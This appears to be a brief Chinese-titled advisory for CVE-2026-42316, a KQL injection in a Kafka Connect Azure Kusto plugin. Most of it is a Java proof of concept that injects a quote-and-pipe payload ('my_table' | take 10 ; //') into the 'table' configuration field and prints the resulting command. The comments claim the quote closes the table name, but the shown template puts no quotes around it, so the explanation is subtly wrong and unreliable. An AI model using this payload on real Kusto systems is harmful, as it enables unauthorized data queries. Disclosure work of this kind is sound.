CVE-2026-42316: Kafka Connect Azure Kusto插件KQL注入漏洞

// PoC: Malicious configuration payload for CVE-2026-42316 // This demonstrates how to inject a KQL command into the 'table' field. public class KqlInjectionPoc { public static void main(String[] args) { // 1. The vulnerable configuration field (e.g., 'table') // Input containing KQL metacharacters to break out of the string String maliciousTableInput = "my_table' | take 10 ; //"; // 2. Simulating the vulnerable String.formatted() logic found in the plugin // Original command pattern: .show table <table> ingestion json mapping '<mapping>' String formatPattern = ".show table %s ingestion json mapping 'default_mapping'"; // 3. Constructing the malicious command String exploitedCommand = String.format(formatPattern, maliciousTableInput); // 4. Output the resulting KQL command // Result: .show table my_table' | take 10 ; // ingestion json mapping 'default_mapping' // The ' closes the table name, allowing execution of ' | take 10' System.out.println("Generated Malicious KQL Command:"); System.out.println(exploitedCommand); } }